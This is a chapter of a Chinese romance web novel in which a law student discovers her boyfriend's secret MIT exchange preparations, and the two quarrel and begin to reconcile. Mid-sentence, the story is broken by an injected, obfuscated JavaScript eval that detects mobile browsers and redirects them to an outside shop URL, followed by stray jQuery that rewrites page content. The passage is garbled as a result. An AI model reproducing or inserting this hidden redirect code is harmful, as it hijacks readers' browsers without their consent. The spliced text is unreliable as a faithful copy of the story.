周五的夜晚，一周紧绷节奏的按下暂停键。时越家中的客厅，将一周的忙碌和喧嚣隔绝室外，这里是两人心照不宣的自由地。墙面的书架上，两人不同的书占据着各自的领地，像两个独立而强大的世界，却又在这方小小的空间里和谐共存。


    顾知秋一人独占了沙发，寻了个最舒服的姿势倚靠在沙发靠垫上，双腿便自然而然地弯折起来，在身前构成一个安稳的斜坡。腿上摊放着法律案例选编的书籍，手里拿着荧光笔不时在上面划过记号。她看得入神，整个人都沉浸在一种无需用力的惬意里，看到某些逻辑离奇的案例，时不时无意识地弯起嘴角。


    “时越，我给你念一个案例，”她忽然开口，打破了一室的安静，“原告因为鹦鹉学了邻居家的脏话，起诉要求邻居赔偿‘精神污染费’和鹦鹉的‘再教育费’，法院还受理了。”


    书桌前，时越的目光没有离开屏幕，手指在键盘上停顿了半秒，随即给出他的评论：“从信息论的角度看，这只鹦鹉构成了一个未经授权的信号中继器，并对原始信号进行了熵增处理。原告的诉求本质上是要求被告为这次信道污染负责，逻辑上是自洽的。”


    顾知秋被他这番一本正经的比喻逗笑了，摇了摇头，继续沉浸在自己的世界里。


    这是他们之间不成文的默契。无需刻意找话题，也无需时刻关注彼此，只是知道对方身处同一片空间里，便足以抵御一切疲惫。


    —


    周六的早晨十点多，顾知秋才从梦中醒来，时越应该早就起床了，厨房传来的细微声响。她打开手机，看到小组群里有人@她，让她赶紧发一份正下周一“模拟法庭”要用的案例。


    她走到书桌前，时越的笔记本电脑合着放在那里。


    “时越，”她朝厨房方向提高声音，“我用你的电脑查个资料。”


    “好，你自己操作。”他的回应混着杯碟的轻碰声传来。


    她打开电脑，桌面一如既往，跟他这个人一样条理清晰，只有几个必要的图标。她熟门熟路地点开共享文件夹，目光在扫到角落时骤然定住，一个名字【MIT交换准备】的文件夹静静躺在那里。


    是上次无意看到的王教授和他发消息里的交换项目吗？他已经开始准备了？她心里甚至还闪过一丝与有荣焉的骄傲。


    鬼使神差地，她指尖在触摸板上移动，还是点了进去。


    文件归类也一丝不苟，逻辑分明。“Checklist.pdf” 文件是，详细罗列着每一步的步骤，而截止日期被黄色高亮。旁边是几个版本的 “个人陈述” ，从初稿到最终版，记录着他的每一阶段成绩。


    还有一个 “推荐信” 的文件夹里，里面是他与不同教授邮件往来的截图，最早可以追溯到刚上大一那会儿。


    如果说这些还只是让她感到惊讶，当她点开那份 “大二至大三规划” 的Excel表时，唇角勾起了一抹近乎自嘲的弧度。


    表格里，课程、GRE备考、寒暑研安排，所有节点都像严密的数学推导，精准地指向同一个结论。她欣赏这种规划，甚至为他的专注感到一瞬的骄傲。


    但，也仅此而已。因为在这张密密麻麻的未来蓝图里，她找不到一丝一毫，属于她的位置


    对于他要飞向更高的地方，她真的没有一丝一毫的生气，最多只是有点不舍。但是成年人并不难消化这种情绪，何况她自己也有很多占据时间的事情要处理。


    她不知道怎么形容此刻的心情，看着他独自规划未来的生活路径，没有露出一丝端倪，也没有问她寻求过哪怕一点意见或者支援，甚至没有把她规划在计划之内。


    她知道自己不是愤怒，也不是被抛弃的恐慌，而是一种更深的失落。仿佛她只是他人生列车上一个亲密的乘客，却从未被告知这趟列车的最终目的地。


    脚步声渐近，时越端着一杯热拿铁走进来，将杯子放在她手边。


    “找到了吗？”他语气自然。


    顾知秋抬起眼，目光平静地落在他脸上，那眼神清亮得像结了冰的湖面，没有丝毫波澜，却带着看透人心的力量。


    “找到了。”她声音不高，“还有，我不小心点开了你的文件夹。发现你要去交换一年的资料，准备得挺充分。”


    她没有质问，只是平静地陈述了一个事实。但这句话足以让整个房间的空气瞬间凝固。


    时越看着屏幕上的文件名，大脑有那么一瞬间是空白的。他设想过无数种和她解释这件事的场景，但绝不是以现在这种方式。


    顾知秋站起身，没有看他瞬间变化的脸色，只是拿起自己那杯咖啡，转身走向门口。


    “资料我发自己邮箱了。”她在门前停下，侧过半张脸，光线勾勒出她冷静的侧影，“时越，我们晚点需要谈谈。”


    她的语气甚至算得上冷静，但那种被排除在重大决策之外的疏离感，比任何激烈的争吵都更具压迫感。


    —


    客厅里很安静，时越觉得仿佛能听见他血液流动的声音


    顾知秋坐在书桌前，只是很平静的确认，“所以，你很早就在准备了，是吗？”


    “只只，”他的喉结轻轻滚动，试图找回平静的的声线：“这个项目的录取率不到百分之十。在一切都没有定数之前，我不想让你为这些不确定的事提前分心。”


    “不想让我分心？”


    她缓缓转过椅子，抬起头看他。眼神像蒙上了一层薄雾，不似往日那般神采飞扬。


    “时越，你把我当成什么？一个只能分享喜悦，却不能在你需要时候留在你身边的瓷娃娃吗？”


    “我在意的不是你要不要出国。相反，我很高兴我们都在追求自己的理想的道路上努力着。”她语气平静，“是不是你觉得，作为你的女朋友，我只需要在终点等着你就好，连陪你走一段路的资格也没有？”


    不待时越回复，她继续说：“记得上个月我的模拟法庭一团糟的时候吗？我压力巨大，半夜给你打电话。”她的语速很慢，“你没有半点不耐烦，只是安静地陪着我，等我抱怨完，再帮我一条条理清逻辑。


    时越，那才是我理解的‘在一起’。我们是要一起携手的人，不是你独自走完全程，最后把一枚干净的奖牌递给我。”


    顾知秋的语气沉了下来，那份重量让他心


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16602625|181043||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    慌。


    他想说不是这样的，他想说他只是舍不得让她为不确定的事烦心，舍不得看她因为可能的分别而蹙眉。可话到嘴边，却变成了一句干涩的“我不想让你担心。”


    顾知秋轻轻摇头，“你不需要把所有事情都规划得井井有条，也不用把所有情绪都收拾得妥妥帖帖，我想要的不是一份完美无缺的机器人男友，而是能够参与你生命中的每一个重要决定。”


    她的目光直直望进他眼底：“是不是以后我们关系的走向，你都要一个人在心里默默排练到完美，才肯通知我结果？”


    这句话轻轻落下，时越整个人都僵住了。他忽然意识到，自己那些所谓的不想让她担心，不过是把自己对分别的惶恐、对未来的不确定，全都刻意压抑在心底，不去面对。


    他不是不相信她，而不敢面对那个“可能要和她异国一年”状况。


    “我明白你可能习惯了一个人承担所有。但你想过没有，你这种什么事情都自己扛下来的体贴，恰恰让我觉得，我好像从未真正走进过你的世界。”


    对话在沉默中瓦解。再多的解释，一时间也跨越不了两人对“爱”的不同理解。


    深夜，他们背对背躺着，中间隔着无形的距离。时越听着她清浅的呼吸声，想起下午时分她最后说的“我好像从未真正走进过你的世界……”


    这句话比任何指责都让他难受。


    “只只，”他轻声开口，在夜色里显得格外清晰，“对不起。”


    “我不是故意瞒你，我只是……”他斟酌着用词，“我只是自己不敢面对可能和你分开两地一年的那个状况，有你在身边的生活好得超出我的一切想象，我有时候甚至期盼着申请不会通过。但是理智告诉我，如果我故意那么做的话，你一定会很生气，我也不会原谅自己。”


    顾知秋依然没有转身，但她的呼吸节奏变了。


    “我习惯了把所有事情都规划好，确定它能成功，再拿出来说。但我忘了，”他的声音低了下去，“感情不是科学实验，我应该跟随自己的内心。”


    良久，顾知秋轻声说：“睡吧。”


    —


    第二天清晨，生物钟准时唤醒了时越。他下意识看向身边，顾知秋已经不在床上。他心中一紧，匆忙起身，走到客厅，却看见厨房亮着灯。


    顾知秋正站在灶台前，锅里煮着粥，空气中弥漫着红枣米粒的清甜。她听见脚步声，没有回头，只是平静地说：“洗漱一下，吃早饭吧。”


    她的语气很平常，仿佛昨夜只是他的一场梦。


    看着她忙碌的背影，他心里像是被什么东西轻轻敲了一下。可能他所爱慕的，正有这份即使在情绪漩涡里，也能稳住自身航道的坚韧。


    “好。”他应道，声音有些沙哑。


    两人安静地坐在餐桌前，分享着清粥小菜。阳光彻底驱散了夜色，整个家变得明亮起来，他们没有谈论MIT，没有谈论未来，只是沉默地吃着这顿寻常又不寻常的早餐。


    时越将她爱吃的酱菜往她面前推了推。


    这个简单的动作，让顾知秋心里那点最后的芥蒂，忽然就松动了一些。